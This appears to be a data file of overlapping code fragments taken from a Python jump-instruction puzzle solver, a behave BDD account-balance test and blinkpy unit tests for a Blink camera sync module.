_changeOffsetValue(self, index):", "self.instructions = instructions self.currentIndex = 0 self.numberSteps = 0 def", "+= jumpNumber self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex >= 0 and", "instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps) if __name__ == '__main__': main()", "index): if self.instructions[index] >= 3: self.instructions[index] -= 1 else: self.instructions[index]", "self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def run(self):" ]
[ "add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in my account') def check_for_increase_to_usd_1880(context):", "add $1200 to my account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes", "context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in my account') def check_for_increase_to_usd_1880(context): assert", "@behave.then('It becomes $3200 in my account') def check_for_increase_to_usd_1880(context): assert context.account.current_cash", "account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in my account')", "$3200 in my account') def check_for_increase_to_usd_1880(context): assert context.account.current_cash == 3200", "@behave.when('I add $1200 to my account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It", "$1200 to my account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200", "<reponame>MhmdRyhn/behavior_test import behave @behave.when('I add $1200 to my account') def", "behave @behave.when('I add $1200 to my account') def add_usd_1200(context): context.account.add_cash(amount=1200)", "my account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in my", "becomes $3200 in my account') def check_for_increase_to_usd_1880(context): assert context.account.current_cash ==", "def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in my account') def", "to my account') def add_usd_1200(context): context.account.add_cash(amount=1200) @behave.then('It becomes $3200 in", "import behave @behave.when('I add $1200 to my account') def add_usd_1200(context):" ]
[ "functions in blinkpy.\"\"\" def setUp(self): \"\"\"Set up Blink module.\"\"\" self.blink", "1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh = None self.blink.homescreen = {\"owls\":", "True}) expected_result = { \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} }", "} sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh =", "mock_resp): \"\"\"Test motion found even with multiple videos.\"\"\" mock_resp.return_value =", "\"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self,", "= True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def", "{\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\"", "True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp): \"\"\"Test handling of failed", "that we mark module unavaiable if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info", "videos return response with old date.\"\"\" mock_resp.return_value = { \"media\":", "self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion,", "self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {})", "= BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera = BlinkCamera(self.blink.sync) self.mock_start =", "def tearDown(self): \"\"\"Clean up after test.\"\"\" self.blink = None self.camera", "\"just a string\", {}] sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\":", "\"1234\", []) self.camera = BlinkCamera(self.blink.sync) self.mock_start = [ { \"syncmodule\":", "{ \"syncmodule\": { \"id\": 1234, \"network_id\": 5678, \"serial\": \"12345678\", \"status\":", "BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\"", "network retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available)", "camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = {} self.blink.sync[\"test\"].start()", "test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of failed get camera info function.\"\"\"", "= self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos())", "BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera = BlinkCamera(self.blink.sync) self.mock_start = [", "function.\"\"\" mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp):", "True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self,", "= { \"name\": \"foo\", \"id\": 2, \"serial\": \"foobar123\", \"enabled\": True,", "\"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\" def setUp(self): \"\"\"Set up Blink", "= True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value = None", "functions.\"\"\" import unittest from unittest import mock from blinkpy.blinkpy import", "\"network_id\": 1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh = None self.blink.homescreen =", "{} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self, mock_resp): \"\"\"Test sync", "{\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp): \"\"\"Test handling of", "recent video response.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\":", "test.\"\"\" self.blink = None self.camera = None self.mock_start = None", "class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\" def setUp(self): \"\"\"Set", "{\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def", "\"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary response.\"\"\"", "= self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected", "mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of", "def test_missing_camera_info(self, mock_resp): \"\"\"Test missing key from camera info response.\"\"\"", "= {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {})", "Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink,", "{ \"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\",", "@mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\" def setUp(self):", "mock_resp): \"\"\"Test recent video response.\"\"\" mock_resp.return_value = { \"media\": [", "= None self.mock_start[5] = None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras,", "\"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def", "self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp):", "import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in", "info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras,", "module unavaiable if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available", "[\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of failed", "\"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\",", "get camera info function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\")", "\"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras", "\"\"\"Test unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] =", "self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos does not block", "of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start())", "camera info function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def", "module unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available =", "self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check that we mark module", "that check_new_videos does not block startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh", "{\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self, mock_resp):", "failed network retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info())", "{}, {}, None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\":", "{\"foo\": False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found even with", "{ \"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] }", "failed get camera info function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {})", "\"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available = True", "\"\"\"Test motion found even with multiple videos.\"\"\" mock_resp.return_value = {", "sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp):", "\"serial\": \"foobar123\", \"enabled\": True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh", "def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when response is unexpected.\"\"\" mock_resp.side_effect", "self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"])", "self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None})", "\"syncmodule\": { \"id\": 1234, \"network_id\": 5678, \"serial\": \"12345678\", \"status\": \"foobar\",", "self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\"", "mock_resp): \"\"\"Check that we mark module unavaiable if bad arm", "= None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value", "{ \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def", "\"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos())", "a string\", {}] sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None}", "key from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] =", "} }, {\"event\": True}, {}, {}, None, {\"devicestatus\": {}}, ]", "self.blink.last_refresh = None self.blink.homescreen = {\"owls\": [response]} owl = BlinkOwl(self.blink,", "self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}} def tearDown(self): \"\"\"Clean up after", "tearDown(self): \"\"\"Clean up after test.\"\"\" self.blink = None self.camera =", "] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}} def tearDown(self): \"\"\"Clean up", "None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test get events function.\"\"\" mock_resp.return_value", "\"status\": \"foobar\", } }, {\"event\": True}, {}, {}, None, {\"devicestatus\":", "\"\"\"Test unexpected summary response.\"\"\" self.mock_start[0] = None mock_resp.side_effect = self.mock_start", "module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls = BlinkURLHandler(\"test\")", "{\"network\": {\"armed\": True}} def tearDown(self): \"\"\"Clean up after test.\"\"\" self.blink", "video response.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\",", "self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309)", "= True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check that we", "None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\":", "None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling", "from blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule, BlinkOwl from", "{\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion detection is", "self.mock_start[0] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp):", "test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def", "= {\"foo\": None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] =", "self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"],", "mock_resp): \"\"\"Test method when response is unexpected.\"\"\" mock_resp.side_effect = [None,", "self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self,", "\"serial\": \"12345678\", \"status\": \"foobar\", } }, {\"event\": True}, {}, {},", "self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check that we mark module unavaiable", "None self.blink.homescreen = {\"owls\": [response]} owl = BlinkOwl(self.blink, \"foo\", 1234,", "import unittest from unittest import mock from blinkpy.blinkpy import Blink", "sync_module = self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp):", "\"created_at\": \"1970-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras =", "info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = None mock_resp.side_effect =", "module unarmed.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\",", "function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp):", "= None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info =", "self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos does not", "1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result = { \"foo\": {\"clip\":", "True) def test_get_events_fail(self, mock_resp): \"\"\"Test handling of failed get events", "True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available = True", "test_owl_start(self, mock_resp): \"\"\"Test owl camera instantiation.\"\"\" response = { \"name\":", "def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] =", "mock_resp.side_effect = [None, \"just a string\", {}] sync_module = self.blink.sync[\"test\"]", "mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678)", "= self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test", "test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found even with multiple videos.\"\"\" mock_resp.return_value", "\"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary response.\"\"\" self.mock_start[0] =", "5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected", "self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp):", "{\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of", "from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = {}", "self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info", "mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp): \"\"\"Test", "up Blink module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls", "mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test", "= {\"owls\": [response]} owl = BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start())", "function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def", "self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self,", "self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found even", "\"1990-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\":", "mock_resp): \"\"\"Test that check_new_videos does not block startup.\"\"\" sync_module =", "= BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera =", "\"\"\"Test recent video response.\"\"\" mock_resp.return_value = { \"media\": [ {", "\"\"\"Test handling of failed get events function.\"\"\" mock_resp.return_value = None", "\"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras", "\"\"\"Test handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect =", "None self.mock_start[5] = None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\":", "of failed get camera info function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"),", "sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test sync", "def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of failed get camera info", "\"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ] } sync_module", "test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion detection is not set if", "system functions.\"\"\" import unittest from unittest import mock from blinkpy.blinkpy", "self.blink = None self.camera = None self.mock_start = None def", "None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos does", "None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check", "def test_check_new_videos(self, mock_resp): \"\"\"Test recent video response.\"\"\" mock_resp.return_value = {", "test_missing_camera_info(self, mock_resp): \"\"\"Test missing key from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"]", "self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status,", "\"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when", "True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] =", "\"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\",", "\"\"\"Test owl camera instantiation.\"\"\" response = { \"name\": \"foo\", \"id\":", "status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def", "True}, {}, {}, None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info = {\"network\":", "\"\"\"Test get events function.\"\"\" mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True)", "None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos())", "start function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234)", "mock_resp): \"\"\"Test get camera info function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]}", "{} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test get camera info function.\"\"\"", "{} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def", "test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos does not block startup.\"\"\" sync_module", "} self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when response", "True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info())", "self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, )", "= {} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self,", "mock_resp): \"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available =", "def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion detection is not set", "self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test missing", "self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test get events function.\"\"\" mock_resp.return_value =", "mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {})", "self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def", "\"name\": \"foo\", \"id\": 2, \"serial\": \"foobar123\", \"enabled\": True, \"network_id\": 1,", "0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"},", "test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary response.\"\"\" self.mock_start[0] = None mock_resp.side_effect", "failed get events function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value =", "sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"])", "on bad status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online)", "self.blink = Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"]", "def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos return response with old date.\"\"\"", "[response]} owl = BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start()) self.assertTrue(\"foo\" in", "None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value", "def test_get_events_fail(self, mock_resp): \"\"\"Test handling of failed get events function.\"\"\"", "videos.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\", \"media\":", "handling of failed get camera info function.\"\"\" mock_resp.return_value = None", "mock_resp): \"\"\"Check that we mark module unavaiable on bad status.\"\"\"", "\"\"\"Test missing key from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None", "self.camera = BlinkCamera(self.blink.sync) self.mock_start = [ { \"syncmodule\": { \"id\":", "test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available", ") def test_check_new_videos_old_date(self, mock_resp): 